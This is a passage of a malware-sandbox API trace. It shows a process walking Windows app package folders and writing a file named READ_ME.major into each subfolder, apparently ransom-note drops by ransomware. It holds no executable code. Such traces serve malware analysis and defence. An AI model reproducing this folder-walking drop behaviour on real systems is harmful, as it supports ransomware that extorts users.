ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x6615f0 [0184.954] FindNextFileW (in: hFindFile=0x6615f0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x45133c70, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x556dcf4, ftLastAccessTime.dwHighDateTime=0x1d32745, ftLastWriteTime.dwLowDateTime=0x21ff4d40, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0184.955] FindNextFileW (in: hFindFile=0x6615f0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x45323b1a, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x31d0c581, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x31d0c581, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="AC", cAlternateFileName="")) returned 1 [0184.955] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.BingSports_8wekyb3d8bbwe\\AC\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.bingsports_8wekyb3d8bbwe\\ac\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x880 [0184.958] WriteFile (in: hFile=0x880, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0184.959] CloseHandle (hObject=0x880) returned 1 [0184.959] FindNextFileW (in: hFindFile=0x6615f0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x452d76b7, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xca38763a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x452d76b7, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="AppData", cAlternateFileName="")) returned 1 [0184.959] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.BingSports_8wekyb3d8bbwe\\AppData\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.bingsports_8wekyb3d8bbwe\\appdata\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x880 [0184.960] WriteFile (in: hFile=0x880, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0184.961] CloseHandle (hObject=0x880) returned 1 [0184.961] FindNextFileW (in: hFindFile=0x6615f0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x45133c70, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xca387c66, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x45133c70, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="LocalCache", cAlternateFileName="LOCALC~1")) returned 1 [0184.961] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.BingSports_8wekyb3d8bbwe\\LocalCache\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.bingsports_8wekyb3d8bbwe\\localcache\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x880 [0184.962] WriteFile (in: hFile=0x880, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0184.963] CloseHandle (hObject=0x880) returned 1 [0184.963] FindNextFileW (in: hFindFile=0x6615f0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x45133c70, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xca38822f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x45133c70, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="LocalState", cAlternateFileName="LOCALS~1")) returned 1 [0184.963] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.BingSports_8wekyb3d8bbwe\\LocalState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.bingsports_8wekyb3d8bbwe\\localstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x880 [0184.965] WriteFile (in: hFile=0x880, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0184.966] CloseHandle (hObject=0x880) returned 1 [0184.966] FindNextFileW (in: hFindFile=0x6615f0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21ff4d40, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x21ff4d40, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x21ff4d40, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0184.966] FindNextFileW (in: hFindFile=0x6615f0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x45133c70, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xca388810, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x45133c70, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="RoamingState", cAlternateFileName="ROAMIN~1")) returned 1 [0184.966] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.BingSports_8wekyb3d8bbwe\\RoamingState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.bingsports_8wekyb3d8bbwe\\roamingstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x880 [0184.968] WriteFile (in: hFile=0x880, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0184.969] CloseHandle (hObject=0x880) returned 1 [0184.969] FindNextFileW (in: hFindFile=0x6615f0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x45133c70, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x711c16b1, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x711c16b1, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Settings", cAlternateFileName="")) returned 1 [0184.969] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.BingSports_8wekyb3d8bbwe\\Settings\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.bingsports_8wekyb3d8bbwe\\settings\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x880 [0184.971] WriteFile (in: hFile=0x880, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0184.972] CloseHandle (hObject=0x880) returned 1 [0184.972] FindNextFileW (in: hFindFile=0x6615f0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x556dcf4, ftCreationTime.dwHighDateTime=0x1d32745, ftLastAccessTime.dwLowDateTime=0x556dcf4, ftLastAccessTime.dwHighDateTime=0x1d32745, ftLastWriteTime.dwLowDateTime=0x556dcf4, ftLastWriteTime.dwHighDateTime=0x1d32745, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="SystemAppData", cAlternateFileName="SYSTEM~1")) returned 1 [0184.972] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.BingSports_8wekyb3d8bbwe\\SystemAppData\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.bingsports_8wekyb3d8bbwe\\systemappdata\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x880 [0184.973] WriteFile (in: hFile=0x880, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0184.973] CloseHandle (hObject=0x880) returned 1 [0184.973] FindNextFileW (in: hFindFile=0x6615f0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x45133c70, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xca411116, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x45133c70, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 1 [0184.974] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.BingSports_8wekyb3d8bbwe\\TempState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.bingsports_8wekyb3d8bbwe\\tempstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x880 [0184.974] WriteFile (in: hFile=0x880, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0184.975] CloseHandle (hObject=0x880) returned 1 [0184.975] FindNextFileW (in: hFindFile=0x6615f0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x45133c70, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xca411116, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x45133c70, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 0 [0184.975] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.BingWeather_8wekyb3d8bbwe\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x428d1e5f, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x31f6a27, ftLastAccessTime.dwHighDateTime=0x1d32745, ftLastWriteTime.dwLowDateTime=0x21ff4d40, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x6611b0 [0184.975] FindNextFileW (in: hFindFile=0x6611b0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x428d1e5f, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x31f6a27, ftLastAccessTime.dwHighDateTime=0x1d32745, ftLastWriteTime.dwLowDateTime=0x21ff4d40, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0184.975] FindNextFileW (in: hFindFile=0x6611b0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x42facab2, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x320074c2, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x320074c2, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="AC", cAlternateFileName="")) returned 1 [0184.975] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.BingWeather_8wekyb3d8bbwe\\AC\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.bingweather_8wekyb3d8bbwe\\ac\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x884 [0184.977] WriteFile (in: hFile=0x884, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0184.978] CloseHandle (hObject=0x884) returned 1 [0184.978] FindNextFileW (in: hFindFile=0x6611b0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x42f3a393, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xca4c15c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x42f3a393, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="AppData", cAlternateFileName="")) returned 1 [0184.978] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.BingWeather_8wekyb3d8bbwe\\AppData\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.bingweather_8wekyb3d8bbwe\\appdata\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x884 [0184.979] WriteFile (in: hFile=0x884, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0184.980] CloseHandle (hObject=0x884) returned 1 [0184.980] FindNextFileW (in: hFindFile=0x6611b0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x428d1e5f, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xca4c21f1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x428d1e5f, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="LocalCache", cAlternateFileName="LOCALC~1")) returned 1 [0184.980] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.BingWeather_8wekyb3d8bbwe\\LocalCache\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.bingweather_8wekyb3d8bbwe\\localcache\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x884 [0184.980] WriteFile (in: hFile=0x884, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0184.981] CloseHandle (hObject=0x884) returned 1 [0184.981] FindNextFileW (in: hFindFile=0x6611b0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x428d1e5f, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xca4c2a5d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x428d1e5f, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="LocalState", cAlternateFileName="LOCALS~1")) returned 1 [0184.981] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.BingWeather_8wekyb3d8bbwe\\LocalState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.bingweather_8wekyb3d8bbwe\\localstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x884 [0184.983] WriteFile (in: hFile=0x884, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0184.983] CloseHandle (hObject=0x884) returned 1 [0184.983] FindNextFileW (in: hFindFile=0x6611b0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21ff4d40, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x21ff4d40, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x21ff4d40, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0184.984] FindNextFileW (in: hFindFile=0x6611b0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x428d1e5f, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xca4c321d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x428d1e5f, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="RoamingState", cAlternateFileName="ROAMIN~1")) returned 1 [0184.984] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.BingWeather_8wekyb3d8bbwe\\RoamingState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.bingweather_8wekyb3d8bbwe\\roamingstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x884 [0184.984] WriteFile (in: hFile=0x884, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0184.985] CloseHandle (hObject=0x884) returned 1 [0184.985] FindNextFileW (in: hFindFile=0x6611b0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x428f80b8, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x711c16b1, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x711c16b1, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Settings", cAlternateFileName="")) returned 1 [0184.985] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.BingWeather_8wekyb3d8bbwe\\Settings\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.bingweather_8wekyb3d8bbwe\\settings\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x884 [0184.987] WriteFile (in: hFile=0x884, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0184.988] CloseHandle (hObject=0x884) returned 1 [0184.988] FindNextFileW (in: hFindFile=0x6611b0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2f21db7, ftCreationTime.dwHighDateTime=0x1d32745, ftLastAccessTime.dwLowDateTime=0x2f21db7, ftLastAccessTime.dwHighDateTime=0x1d32745, ftLastWriteTime.dwLowDateTime=0x2f21db7, ftLastWriteTime.dwHighDateTime=0x1d32745, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="SystemAppData", cAlternateFileName="SYSTEM~1")) returned 1 [0184.988] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.BingWeather_8wekyb3d8bbwe\\SystemAppData\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.bingweather_8wekyb3d8bbwe\\systemappdata\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x884 [0184.990] WriteFile (in: hFile=0x884, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0184.991] CloseHandle (hObject=0x884) returned 1 [0184.991] FindNextFileW (in: hFindFile=0x6611b0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x428d1e5f, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xca5a07f0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x428d1e5f, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 1 [0184.991] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.BingWeather_8wekyb3d8bbwe\\TempState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.bingweather_8wekyb3d8bbwe\\tempstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x884 [0184.992] WriteFile (in: hFile=0x884, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0184.993] CloseHandle (hObject=0x884) returned 1 [0184.993] FindNextFileW (in: hFindFile=0x6611b0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x428d1e5f, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xca5a07f0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x428d1e5f, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 0 [0184.993] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.BioEnrollment_cw5n1h2txyewy\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x66d77fef, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x7d17b532, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x21ff4d40, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x661370 [0184.993] FindNextFileW (in: hFindFile=0x661370, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x66d77fef, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x7d17b532, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x21ff4d40, ftLastWriteTime.dwHighDateTime=0x1d50249, 